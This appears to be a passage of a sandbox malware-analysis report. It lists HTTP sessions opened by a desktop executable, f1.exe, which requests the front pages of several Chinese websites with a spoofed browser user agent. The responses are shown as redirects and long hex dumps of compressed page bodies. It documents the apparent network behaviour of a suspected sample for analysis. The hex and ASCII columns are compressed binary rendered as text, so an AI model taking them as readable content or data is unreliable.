Aug 4, 2024 10:57:29.442079067 CEST	1236	IN	Data Raw: b6 3f 7f cf 58 b8 27 da 17 8c 69 53 87 37 6a 35 9c 27 d9 35 fc a4 b3 a5 a7 f6 61 46 fb 43 7c 71 64 da 25 e0 32 f3 e6 3c 44 73 48 3e f3 d6 89 20 b3 85 16 49 58 38 b4 8b 14 68 19 cf 59 b7 df 34 3b 53 6a 7f a1 a5 4b a5 1d 1b b7 98 33 fa d5 8b ab 34 Data Ascii: ?X'iS7j5'5aFC\|qd%2<DsH> IX8hY4;SjK34PX$V51BQX[y0*FUgSjkEY%E-+4a00Xx>}0Kg=U[[E.5X[H+ $h}L<
Aug 4, 2024 10:57:29.442137957 CEST	1236	IN	Data Raw: eb 37 d7 ba 9d b5 41 77 6d b8 06 76 f4 b5 71 73 0d bb 06 ab bf b3 36 6e af 45 a6 31 89 59 7f 7e 84 01 4e 62 5b 43 5f 73 e1 51 9b ba 59 87 48 a2 41 b7 1b f9 66 a6 d0 3a cd 1e 36 20 20 ea f3 23 19 64 06 46 e0 75 c1 4f 33 ec 57 96 d9 42 de 15 63 65 Data Ascii: 7Awmvqs6nE1Y~Nb[C_sQYHAf:6 #dFuO3WBcePaG<Yu0.Xsh}??b8Q8?x{! M\Wu.Ubf~j!A[otFAT4Gt]D.`
Aug 4, 2024 10:57:29.442152977 CEST	1236	IN	Data Raw: 20 3e de 3a 6c 64 61 be 74 44 71 dd 4f 8e c6 e0 ef de 1a b7 9f e7 d7 12 2c 0c 0e b6 e9 e7 b0 69 ae 25 88 29 3d 5f 41 d8 e0 bf 15 0c 97 e0 d8 c3 75 4b 68 8c 82 24 a2 03 9f 6b 93 7e 50 3d ab c6 fb 29 8a 37 d2 ac 4a 1c 22 d4 e1 68 27 d0 67 92 a4 28 Data Ascii: >:ldatDqO,i%)=_AuKh$k~P=)7J"h'g(c{9BYI\".PI0#;\?VRq8Sw5fXnC"O?zlA]4?}5@*X?1&> cy >Jts-"edQ.p
Aug 4, 2024 10:57:29.442293882 CEST	1236	IN	Data Raw: 70 38 0b 1d fe 25 73 bf 61 cb a7 79 47 b9 35 c7 b7 07 72 4a 14 0f f3 fc 21 86 6f 84 0f 0b fc 61 2e 2f 66 13 eb 17 c5 53 f4 de 0a cb 96 f8 d3 3c fa f0 85 4f cb e2 69 45 ee ac 12 42 20 f7 56 15 4f cb 72 6f 35 fe b4 18 d2 2e 8d 21 2b 1e 63 f2 8a 68 Data Ascii: p8%sayG5rJ!oa./fS<OiEB VOro5.!+chhblpQi1J\|Qi(@"-/_IQ\|'V,TRAsz==N2FtcK4^`T^^@&0 ^"$zH, xK^""*_Y LP
Aug 4, 2024 10:57:29.442306995 CEST	1236	IN	Data Raw: e8 90 7e 92 74 89 c2 a8 56 c3 62 12 f1 ca fa 7f 0b f5 2a af 43 27 3a 46 be b3 4c 07 6a 38 21 3a b7 22 19 cc 9c 5b 5e 05 87 90 7d 26 69 d4 04 55 c3 b5 48 e3 3b a9 90 e4 4b 41 b2 43 e9 19 db 76 c0 95 56 a8 1a 34 6c 82 5b 33 68 67 22 21 84 97 87 d2 Data Ascii: ~tVbC':FLj8!:"[^}&iUH;KACvV4l[3hg"!iUZJghpz&%FEIv[zahoAXZIAT1{GD)GFvjR%<LUr>&'.in N96BrKk/bp%E\|$$Gt
Aug 4, 2024 10:57:29.442317963 CEST	1236	IN	Data Raw: 0d 31 9c c5 f7 0d b9 c6 fc ad 03 44 3c 36 b9 3c 1b 4f 18 8d 20 c5 39 b0 c9 97 2f 57 15 72 0b 7b d3 1b 40 f2 21 cc 94 0e f7 51 83 d0 d9 81 fc 5f 70 cf 34 ee 5b 83 e0 9a bb 70 84 65 d0 e4 4f c9 e7 08 29 b4 cc dd ae d3 1b e6 f4 74 4c 6c c5 2f ac 46 Data Ascii: 1D<6<O 9/Wr{@!Q_p4[peO)tLl/FZ/W4&(HJ/+lO&&aLJK7+,Q%4M:!+n(e]#FjtS0DZYvZBH#[X,q@sOFZJT;
Aug 4, 2024 10:57:29.446791887 CEST	1236	IN	Data Raw: 31 e7 34 a7 e4 00 af b0 01 46 07 22 7e b2 e1 28 60 85 67 f7 83 03 8c c3 76 a5 e8 14 1d 5b 5f f6 63 05 a4 60 69 56 75 4e 2a 6f 6d ca 2e 66 9b 7a e6 a1 37 73 ed 70 2f c1 d0 4d 4e 0c d5 b6 0d c9 3e 95 0a a7 b2 ee 23 b3 fc 0f ad 15 20 63 11 e4 1e 71 Data Ascii: 14F"~(`gv[_c`iVuN*om.fz7sp/MN># cq}A /'$W~kb/ZzX<(a';gh&@PfVvR$ha>TF~g brDXse^.7Pn U,jor,!Bu,5EHt)}`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.7	49733	163.171.132.119	80	3180	C:\Users\user\Desktop\f1.exe

Timestamp	Bytes transferred	Direction	Data
Aug 4, 2024 10:57:28.518737078 CEST	216	OUT	GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko Accept-Language: zh-CN Accept-Encoding: gzip, deflate Host: www.jd.com Range: bytes=0- Connection: Keep-Alive
Aug 4, 2024 10:57:29.277539015 CEST	341	IN	HTTP/1.1 301 Moved Permanently Date: Sun, 04 Aug 2024 08:57:29 GMT Content-Length: 0 Connection: keep-alive Server: Cdn Cache Server V2.0 Location: https://corporate.jd.com/home X-Via: 1.0 PSdgflkfFRA2po75:8 (Cdn Cache Server V2.0) X-Ws-Request-Id: 66af4279_PSdgflkfFRA2po75_17004-8549 Strict-Transport-Security: max-age=31536000

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.7	49734	103.235.46.98	80	3180	C:\Users\user\Desktop\f1.exe

Timestamp	Bytes transferred	Direction	Data
Aug 4, 2024 10:57:28.613744974 CEST	220	OUT	GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko Accept-Language: zh-CN Accept-Encoding: gzip, deflate Host: www.hao123.com Range: bytes=0- Connection: Keep-Alive
Aug 4, 2024 10:57:29.920526981 CEST	1236	IN	HTTP/1.1 200 OK Content-Encoding: gzip Content-Type: text/html;charset=UTF-8 Cxy_all: +d2760ed3e78d8affd0692f46cb356e95 Date: Sun, 04 Aug 2024 08:57:29 GMT Lfy: gzbh.97780 P3p: CP=" OTI DSP COR IVA OUR IND COM " Server: nginx/1.9.12 Set-Cookie: s_ht_pageid=16; path=/; domain=.hao123.com Set-Cookie: ft=1; expires=Sun, 04-Aug-2024 15:59:59 GMT Set-Cookie: v_pg=normal Set-Cookie: hz=0; path=/; domain=www.hao123.com Set-Cookie: BAIDUID=E19F946FD6E793A5D52C185E29376B44:FG=1; expires=Mon, 04-Aug-25 08:57:29 GMT; max-age=31536000; path=/; domain=.hao123.com; version=1 Tracecode: 34493824892588647946080416 Vary: Accept-Encoding Transfer-Encoding: chunked Data Raw: 32 65 65 0d 0a 1f 8b 08 00 00 00 00 00 00 03 ec bd 6b 97 23 c9 75 20 f6 7d 7e 05 d8 ed 61 77 0d 91 59 48 bc 81 62 53 ec 27 39 96 86 1a 0f 87 12 b9 e4 a8 4e 02 48 54 61 1a 05 40 78 74 75 b3 a6 ce 91 f7 ac 1e d6 ca d6 ae bd bb 5e 5b f6 d9 2f f6 59 ed 9e b3 92 65 cb 7b b4 96 b8 fe 31 ab 19 52 9f fc 17 7c 1f 11 91 37 1e 99 48 54 75 f7 70 49 b1 38 33 00 32 32 e2 c6 8d 1b f7 1d 37 be fe 95 27 bf fe f8 e3 1f 7c f8 b4 76 be bd 98 7f e3 eb f8 ef da 78 9e 6e 36 0f ee dc 81 af 59 3a f9 c6 d7 17 cb cd 78 3d 5b 6d bf f1 f5 8b 6c 9b 42 cb ed 2a ca 7e 7b 37 7b f1 e0 ce 3a 9b ae b3 cd f9 9d da 78 b9 d8 66 8b ed 83 3b 8d 93 da f7 3e fa b5 07 f7 8e 7f e5 f4 54 bf 78 7a 1a 3d 48 ee dd a9 1d 7f e3 eb c7 79 67 db d9 76 9e 7d e3 3c 5d 26 cd d6 e9 df fe d5 1f fe f4 27 ff f4 6f ff fa bf fb d9 ff fb 3f fd dd ef ff d1 e7 7f f3 3b 9f ff eb 7f fc f5 63 6e f3 f5 51 ba c9 6a db 74 7d 96 c1 08 a7 a3 79 ba 78 0e d0 11 34 e3 f3 74 bd c1 9f 77 db 69 d4 bf 03 43 b8 40 7e 3f fa de c3 e8 f1 f2 62 95 6e 67 a3 79 96 83 fa fe d3 07 d9 e4 [TRUNCATED] Data Ascii: 2eek#u }~awYHbS'9NHTa@xtu^[/Ye{1R\|7HTupI83227'\|vxn6Y:x=[mlB*~{7{:xf;>Txz=Hygv}<]&'o?;cnQjt}yx4twiC@~?bngy,A\(Mvfz6BLuj\|_^:?3Yl&5MdggxY^;>a<{u\O6bdmw>?9['~_T7/?z?ofIddQ/_/
Aug 4, 2024 10:57:29.920645952 CEST	194	IN	Data Raw: c7 7f f8 b3 ff fb 1f 7d f1 ff fc 93 9f fe cf ff e8 6f ff ea df 7d f1 2f 7e 5f 82 fa 9f 7e e7 1f 42 83 2f fe c7 7f ff c5 3f fb f7 9f ff e4 9f 7f fe 93 bf f8 d9 bf fe bd ff f4 3b ff f5 df fd ab ff eb 6f ff c3 3f 81 0f 9f ff 1f 7f fc b3 3f ff 4b f8 Data Ascii: }o}/~_~B/?;o??K_?w{?T}{ogo~O\|'??~#2mxSVr,/
Aug 4, 2024 10:57:29.922233105 CEST	1236	IN	Data Raw: 33 64 31 63 0d 0a 6f 3f fc f5 07 f9 c7 cf 3e bb ba 3e c9 bf c6 b8 57 37 b5 07 b5 69 3a df 64 de 83 8f d7 e9 82 9e ee 16 63 a4 ed fb bb f5 fc e8 6a 9d 6d 77 eb 45 0d 3e 5f 9f 7c fd 58 6f fd cd f6 15 ec 9d ed ab 15 6c 8d 6d f6 72 7b 3c de 6c 60 c3 Data Ascii: 3d1co?>>W7i:dcjmwE>_\|Xolmr{<l`f=~p,M6[8c$xz3`lI?6[M\|1[>M_xv#2Os}GO?Oxi3}5Bxm_f!v\{[
Aug 4, 2024 10:57:29.922338963 CEST	1236	IN	Data Raw: 85 4e c0 fe 05 3b 15 29 45 bf f7 1e 30 99 8b b9 b5 5a 1b e0 37 d1 06 2d c3 13 c4 0c 68 af 44 4e 49 9c 74 4e a2 8b 4d 44 74 83 ab 18 a5 93 4f 77 1b 78 82 c4 01 54 37 7a 3e db 86 9f 5e e3 9e 32 fb e1 3a c5 d5 9b 67 f5 74 33 9b 64 b0 85 96 5b 40 35 Data Ascii: N;)E0Z7-hDNItNMDtOwxT7z>^2:gt3d[@5*E:^p4_}lf'j^vQk\Oggp>Y5~AIvc\|+gNYtf8YMk0-],;P(?Gp1/qFal5\>lJS@
Aug 4, 2024 10:57:29.922352076 CEST	1236	IN	Data Raw: 06 2c ac ec 3e 32 e9 23 a3 9b 16 3d 26 c3 89 7a f0 5f 05 9b a1 e8 d1 b2 e8 89 7a 01 7c f5 f7 c1 63 92 82 e3 1e 50 16 83 ba 73 d7 40 76 74 a2 1a a1 90 00 bf f2 93 ef bf 7f 01 4e 16 f2 28 a1 72 11 7f 30 1b af 97 9b e5 74 1b 3f 02 4b 63 4c 4f ef 9b Data Ascii: ,>2#=&z_z\|cPs@vtN(r0t?KcLO$e:~lR{CYc v6SOt^:Y.!?~uG@TVi'3W;li\`0*Z8BHW:vFM#!Aw{?MJP
Aug 4, 2024 10:57:29.922527075 CEST	1236	IN	Data Raw: 18 89 56 fe 9f 3b e9 7c 75 9e de ff 75 56 a1 1f 34 8e c0 b7 c2 ae 28 7e a0 d4 28 78 70 12 3d c7 28 53 94 3b e6 28 76 92 7f cd 3f 29 2f 70 94 bd 00 f3 6c 43 81 aa 3c 40 8b 8c 99 83 84 30 d7 5a 9c f4 37 b5 0c a2 82 11 38 5e e8 1b 33 e7 d2 16 8a b8 Data Ascii: V;\|uuV4(~(xp=(S;(v?)/plC<@0Z78^3z`w0C!iSGv7;#Q6D][^%\|+:rA{^tj$n%=]( Rf0Zz5?zGsFolrO?Yv~
Aug 4, 2024 10:57:29.922538996 CEST	1236	IN	Data Raw: 43 29 55 35 77 5b a2 7f 83 9c 83 28 d9 ca 1c 1d 14 15 7a ed 6e cb 12 50 c3 9e cb e0 0b 6f d9 79 f9 25 f2 dc 52 b7 e5 2f 0d fb 2d 77 98 96 ed 93 52 4e ec 7a 4b 05 ad 85 83 39 41 62 f4 9d 2d a1 66 c5 4c 3f c0 13 42 01 da d7 e2 39 0d 40 46 29 b7 8e Data Ascii: C)U5w[(znPoy%R/-wRNzK9Ab-fL?B9@F)YW3*Ux:Rm1Bx\/"L%OVY}gP%&b.`ytV;7~{e ol74B_/=p?:,WaT2!F:~Eoh}[)}_
Aug 4, 2024 10:57:29.922550917 CEST	1236	IN	Data Raw: bd 23 e3 e7 30 69 5b 22 58 8b c5 c0 71 ed 3a 7b 99 ec ba 24 e8 20 95 26 08 95 fc 0b 8d e5 95 12 ac b9 b5 04 19 e8 21 c5 0f 70 45 88 91 f8 09 d6 0c 59 43 43 6b ca a9 71 ea 2c 2d a1 5e 57 d5 14 74 64 58 5c fc 97 7e c0 c9 ae 94 2a c1 45 e0 65 7d b7 Data Ascii: #0i["Xq:{$ &!pEYCCkq,-^WtdX\~*Ee}f2Nlp%njd1n]t1EYZga./<O>w~\|,z{p=:mfR\|SMF"j`OhJLW,2Dsk! j$CaG--V
Aug 4, 2024 10:57:29.922560930 CEST	776	IN	Data Raw: 97 c6 cb 25 75 aa 6e 03 29 d3 31 1a 85 1a 7e f7 69 17 ff 78 b6 10 de cb 61 f4 38 97 9e cd b3 01 fe e9 b6 64 5a f2 1e c6 ea 3b 86 8b 88 e2 35 e4 a8 12 3c 8b 00 45 c1 21 d4 7a 2c 29 44 57 30 1f 1f f3 ed cb 70 23 28 5f 61 3e 59 c4 a3 71 36 5a 6e e8 Data Ascii: %un)1~ixa8dZ;5<E!z,)DW0p#(_a>Yq6Zniop:6iZN/#q,fqcy<jG$^-DyS@JOt[n`+./(K!Hj~sm7In24s@}xp[pUi{mN;)rfe
Aug 4, 2024 10:57:29.922569036 CEST	1236	IN	Data Raw: 92 b8 5d ed 46 c0 18 cf 35 4f 74 8d 28 c2 44 90 2d 0a 06 80 6d bc 8d c5 2b 47 a8 67 b8 82 b3 0c f6 6d ad 3d f6 50 3a 75 42 b4 9c 3f dd ea 23 79 88 85 0b 87 79 91 6e ce 14 9c f3 26 ec 8d a9 4e ac 6e 48 db 50 23 b3 ab 89 db 76 0b 31 e6 76 e0 91 71 Data Ascii: ]F5Ot(D-m+Ggm=P:uB?#yyn&NnHP#v1vq@$~f]iHbmAJn`FTwZd;%xGNDvw]E[K WqGI^){2Dm(dFH%eC5AZ*f:
Aug 4, 2024 10:57:29.929332972 CEST	1236	IN	Data Raw: 1f 55 3f b8 f3 c4 1e 9f 64 59 2b 1b 49 9d 12 25 e3 75 18 2c 06 d1 57 74 5d b3 46 63 45 93 0b 79 af 83 13 ad c5 ab 74 06 45 f2 43 e7 d8 65 38 4a 9b 33 e8 07 d5 66 26 7e a6 d5 9d a6 17 b3 f9 ab e1 93 f7 bf f3 d1 12 0e 6c 7f b8 5e 46 1f d0 05 00 05 Data Ascii: U?dY+I%u,Wt]FcEytECe8J3f&~l^F$Y=y>A6 X{*9M$~5%e\.[q/~\|ki#&"4i{36Z4/a-DN;"FuaYK(q1q[v

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.7	49736	49.51.65.181	80	3180	C:\Users\user\Desktop\f1.exe

Timestamp	Bytes transferred	Direction	Data
Aug 4, 2024 10:57:28.687637091 CEST	214	OUT	GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko Accept-Language: zh-CN Accept-Encoding: gzip, deflate Host: soso.com Range: bytes=0- Connection: Keep-Alive
Aug 4, 2024 10:57:29.298974991 CEST	347	IN	HTTP/1.1 301 Moved Permanently Server: nginx Date: Sun, 04 Aug 2024 08:57:29 GMT Content-Type: text/html Content-Length: 162 Connection: keep-alive Location: https://soso.com/ Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.7	49737	111.124.200.101	80	3180	C:\Users\user\Desktop\f1.exe

Timestamp	Bytes transferred	Direction	Data
Aug 4, 2024 10:57:28.703803062 CEST	216	OUT	GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko Accept-Language: zh-CN Accept-Encoding: gzip, deflate Host: youdao.com Range: bytes=0- Connection: Keep-Alive
Aug 4, 2024 10:57:30.395293951 CEST	199	IN	HTTP/1.1 307 Temporary Redirect Server: YDWS Date: Sun, 04 Aug 2024 08:57:30 GMT Transfer-Encoding: chunked Connection: keep-alive Location: https://youdao.com/ Data Raw: 31 33 0d 0a 68 74 74 70 73 3a 2f 2f 79 6f 75 64 61 6f 2e 63 6f 6d 2f 0d 0a 30 0d 0a 0d 0a Data Ascii: 13https://youdao.com/0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.7	49738	104.192.110.226	80	3180	C:\Users\user\Desktop\f1.exe

Timestamp	Bytes transferred	Direction	Data
Aug 4, 2024 10:57:28.730063915 CEST	216	OUT	GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko Accept-Language: zh-CN Accept-Encoding: gzip, deflate Host: www.so.com Range: bytes=0- Connection: Keep-Alive
Aug 4, 2024 10:57:29.844729900 CEST	425	IN	HTTP/1.1 302 Moved Temporarily Server: openresty/1.15.8.3 Date: Sun, 04 Aug 2024 08:57:29 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Location: https://www.so.com/ Set-Cookie: QiHooGUID=; Max-Age=63072000; Domain=so.com; Path=/ Data Raw: 38 65 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: 8e<html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.7	49739	120.26.110.170	80	3180	C:\Users\user\Desktop\f1.exe

Timestamp	Bytes transferred	Direction	Data
Aug 4, 2024 10:57:28.753973961 CEST	218	OUT	GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko Accept-Language: zh-CN Accept-Encoding: gzip, deflate Host: foodmate.net Range: bytes=0- Connection: Keep-Alive
Aug 4, 2024 10:57:29.769002914 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx Date: Sun, 04 Aug 2024 08:57:29 GMT Content-Type: text/html; charset=gbk Last-Modified: Sun, 04 Aug 2024 08:52:29 GMT Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding ETag: W/"66af414d-29523" Content-Encoding: gzip Data Raw: 34 30 30 30 0d 0a 1f 8b 08 00 00 00 00 00 00 03 ec bd 69 73 1b 57 92 28 fa bd 23 ee 7f c0 60 de 8c e5 e8 06 81 02 40 90 94 25 76 78 e4 ee 19 df 3b dd e3 fb ec 17 f3 6e 74 74 28 40 12 14 61 71 33 09 6a f1 ed 37 5f df ef 00 21 4b dc 64 62 07 b1 93 20 88 7d 07 08 d0 94 64 51 d4 62 cb a2 64 59 b2 44 89 5a e2 66 56 a1 80 02 50 40 15 16 4a f2 8c bb 1d 22 80 aa 73 4e 66 9e 3c 79 f2 e4 c9 e5 d8 df 7d f4 6f 27 3e fb 5f 9f fc 41 30 a2 19 1b 15 7c f2 ff fc d3 bf 7e 7c 42 20 14 89 c5 ff 2e 3b 21 16 7f f4 d9 47 82 ff f7 5f 3e fb d3 bf 0a 88 2e 89 e0 b3 29 e5 f8 b4 5a a3 9e 18 57 8e 8a c5 7f f8 b3 50 20 1c d1 68 26 8f 8a c5 67 cf 9e ed 3a 2b eb 9a 98 3a 25 fe ec ff 16 9f c3 be 08 6c 5c fc 28 d2 30 5a 76 0d 69 86 84 fd bf 39 46 0e 78 6e 6c 74 7c fa 38 4b 37 44 5f 5f 1f d5 9a 7c 57 a5 1c 82 3f 63 2a 8d 12 00 d5 4c 8a 54 5f cc a8 cf 1c 17 9e 98 18 d7 a8 c6 35 a2 cf ce 4f aa 84 82 41 ea db 71 a1 46 75 4e 23 c6 fe 3f 10 0c 8e 28 a7 a6 55 9a e3 a7 06 a4 32 42 2a 14 43 2f 1a b5 66 54 d5 1f 31 05 6c ce 1f f5 77 e3 cf 74 [TRUNCATED] Data Ascii: 4000isW(#`@%vx;ntt(@aq3j7_!Kdb }dQbdYDZfVP@J"sNf<y}o'>_A0\|~\|B .;!G_>.)ZWP h&g:+:%l\(0Zvi9Fxnlt\|8K7D__\|W?cLT_5OAqFuN#?(U2BC/fT1lwtsMoVaZ-<~s"OtKRKa.c?S}!WOf~"in?YcK'\|?\w%fmA 9G~H_J.^'~~If_.g5/l"La1ROW!B/D"XK$<c/l].IM vF\|B;%HYK6EN3sm)OT#S@"hicS9jbi`k1F5/alT201qzL9uUMTzBxCsD"Q\$3JWaYxyljjjb 2J335.L>DQF5k #1:/"]cQ9r;k?x`I?X"cdpblx~uNMfC$A./nF=GT
Aug 4, 2024 10:57:29.769067049 CEST	1236	IN	Data Raw: cf a7 c5 23 13 63 aa 93 b5 d4 a9 5c 65 0a 5c 65 0c 69 d7 01 41 31 7d 5a 3d 2e 1e 52 0d 2b 67 46 35 62 b5 4a 41 8a 0b 14 aa ad 30 32 1b 9a a3 ca f1 53 e2 2f 47 44 83 e3 62 fc d8 69 02 52 6b 40 0c 92 7a 58 dd 6a e7 8d 37 02 98 9c b1 89 01 98 ac a6 Data Ascii: #c\e\eiA1}Z=.R+gF5bJA02S/GDbiRk@zXj7@?Olv}*w&G&?6143R'0%C3Q4S.16'&k&&OTS(YO#J&mV1+TzCNIOM[
Aug 4, 2024 10:57:29.769079924 CEST	1236	IN	Data Raw: e6 24 da b5 4e 82 74 02 c8 6a 34 85 99 69 d5 54 d5 28 95 47 44 52 13 07 50 64 bd a4 70 83 2e 48 2d 92 d4 3b 78 82 7d 6a 06 ec 4c 6a 71 2d b0 68 29 6c b2 a3 cf 59 fa a1 b7 bb e9 b3 a0 c1 d8 0f 04 f1 dd 66 3a 1d 53 aa 47 47 d5 d3 30 1f 35 c4 8c 3f Data Ascii: $Ntj4iT(GDRPdp.H-;x}jLjq-h)lYf:SGG05?;ATry)?VVLaI/0F585ZY2D-tT`u00Nujz2BxPb!k/}`aL0_Q@5nK;Sr<.<4
Aug 4, 2024 10:57:29.769243956 CEST	1236	IN	Data Raw: 0b 7f 6f 58 69 30 38 69 90 ab 1c 99 6e d5 ea c8 7d 45 a2 c7 5d de 46 ab 59 4e 3a ae 80 23 4b e5 f2 82 d9 c2 86 2d 0e 2e 43 e1 45 dd 89 7a 97 1b a0 5d 32 64 b3 8c 5e 34 64 b7 b0 c0 65 b8 c0 49 5f e2 44 43 e1 09 2e ac d3 13 e3 2c 98 63 bb 56 31 27 Data Ascii: oXi08in}E]FYN:#K-.CEz]2d^4deI_DC.,cV1'e(\YnCp!"Wn'>Ib[rppuFVXw#25fZ^8yHgyK}\k:<OVT0wcS1U\|
Aug 4, 2024 10:57:29.769256115 CEST	1236	IN	Data Raw: b6 4b 2f cc 16 50 a3 1a d4 c0 ce 27 62 a7 5b 4c 28 c4 44 8f 48 d2 23 92 49 45 3d 52 9a 62 64 40 cd 3b 47 31 fa ee 0b b4 cb 53 ea 71 d1 c0 84 46 33 31 76 54 32 79 ee 83 da bd 91 37 f3 c9 24 c0 10 d5 7a 56 4b c4 ec 21 89 29 17 49 65 22 89 4c 24 eb Data Ascii: K/P'b[L(DH#IE=Rbd@;G1SqF31vT2y7$zVK!)Ie"L$czCWR!DndKV%.\&z'&(JdbhCbXR$IQbsgPQ-KPi xHZZKz>T5E%eCo,[\Yh~F!7FW
Aug 4, 2024 10:57:29.769268036 CEST	1120	IN	Data Raw: 7b 2c f8 ac 12 33 dc ca 21 d9 ce 33 f3 e3 54 1c 37 4b c8 cf ba 05 2a 1f 7c a2 f0 a4 ce e3 39 57 6c 05 cd 5b ce 1b 14 86 9d e8 a9 2d 6c 39 0e 8d 68 ae 42 78 ff f6 37 b6 f9 40 c3 5e 68 31 92 72 41 d6 1f b4 3a 30 31 c5 f9 0e 45 73 06 6c 2d ec ef 4c Data Ascii: {,3!3T7K\|9Wl[-l9hBx7@^h1rA:01Esl-L?maqtt!uyoZVe\<lHz00#)ZqcM};u`[7mau)\|};]NjlfQ[r++Cr@AD1?
Aug 4, 2024 10:57:29.769743919 CEST	1236	IN	Data Raw: a0 5d d0 2e 94 b8 16 58 55 d8 df 4e eb 76 b0 52 70 ac c6 f2 ee a1 df b3 2f c6 5e a2 ac 41 19 bb 56 70 2e fb d6 7c 21 e7 b2 17 4e 7b de 2d f3 3d 4a 02 e3 9e a3 9b db 98 d7 ef 6d cc 3b 96 e9 9d b6 a8 03 77 b0 b3 76 70 ee e6 98 49 b4 b6 15 ae 46 1e Data Ascii: ].XUNvRp/^AVp.\|!N{-=Jm;wvpIFggw?n/\Q{MqO"e;hQ,%0LfqWg\`b)j~pf[9=iH:VweSm/?I_r]^08=MT&\|
Aug 4, 2024 10:57:29.769896030 CEST	1236	IN	Data Raw: 72 37 e5 b3 c3 2d 68 33 6f b7 05 35 c7 7a 42 85 16 75 39 d4 10 5c a4 17 26 ee 5f 18 25 96 fa d6 3a 6f bc a6 5f a1 0e ab 8d df 69 0b 42 8e 19 f7 06 62 5b 96 64 fc 7a 3e 60 9d ef 49 3e 40 10 11 3c 61 7f 9d 07 6d c1 c2 b1 eb e7 83 ab 2f fc bb 08 09 Data Ascii: r7-h3o5zBu9\&_%:o_iBb[dz>`I>@<am/c1g&QG<O 7w[Ve>=A)"r29Y;.&m#\|1u)w7sj<JQ;CWW%^x28WG?~$c
Aug 4, 2024 10:57:29.769907951 CEST	1236	IN	Data Raw: 11 ca fb 72 80 58 93 0d da 81 9d 2b 58 01 dc c1 20 80 2c 7f 95 8e 9b 83 ef 52 29 84 eb f4 c2 22 99 0f 1f e4 ef 5b e7 2c 37 e3 ab b9 02 5e bc e2 77 cc f4 e3 88 eb 0b b1 27 a1 5d d3 53 d3 25 5c 3c 14 db 75 ac ab b6 f0 e5 b8 89 83 a5 4c f0 5f ff 3d Data Ascii: rX+X ,R)"[,7^w']S%\<uL_=l6ppZoOZ7pikPQ,\^02T(,1=E9y;p/&!iZvCv&&5r54<x'wN;K4i~g`z\F")vY)3O6
Aug 4, 2024 10:57:29.769983053 CEST	1236	IN	Data Raw: a3 f7 c5 58 15 7a aa 73 23 ea 01 b5 46 3c 3d 32 71 b6 6b 72 64 f2 f7 6a 8d 6a 0c 4a 50 ca 64 90 bc b6 4e d1 72 ad 07 ac 7c a6 b0 d5 a5 f5 e2 e2 b4 6c 47 fd ee 3d 4f 60 75 07 15 10 44 97 4e a7 06 65 5d 02 98 65 9f ca c9 ce 86 ea 1f ff 88 c8 22 aa Data Ascii: Xzs#F<=2qkrdjjJPdNr\|lG=O`uDNe]e"-tiR=^9&"PC&j4m>zllx`'*q;hF1=]Xi,Sl3Zf^.;X8#~xHD,op6Xt1`
Aug 4, 2024 10:57:29.773996115 CEST	1236	IN	Data Raw: 3e 0a 3d d4 55 06 27 0a 8d 27 af 70 35 0c 16 c3 c4 b7 ce 83 f0 dd 1a 5c 9a 6d da 01 a4 28 43 3d 17 52 a8 71 d4 93 9c c9 1d 6b 6e fd aa 35 54 8d 0d ff 36 1d 40 83 ba 28 6b 80 86 bc 17 1c d9 88 46 72 a4 72 07 c8 ae 3f bc 00 61 21 6b a4 e4 6f b5 71 Data Ascii: >=U''p5\m(C=Rqkn5T6@(kFrr?a!koq-=`7Jyc<aJ1.$=SuuNB@iM^}mt9K]LEuuNB]A2^="1 BzuyutEF

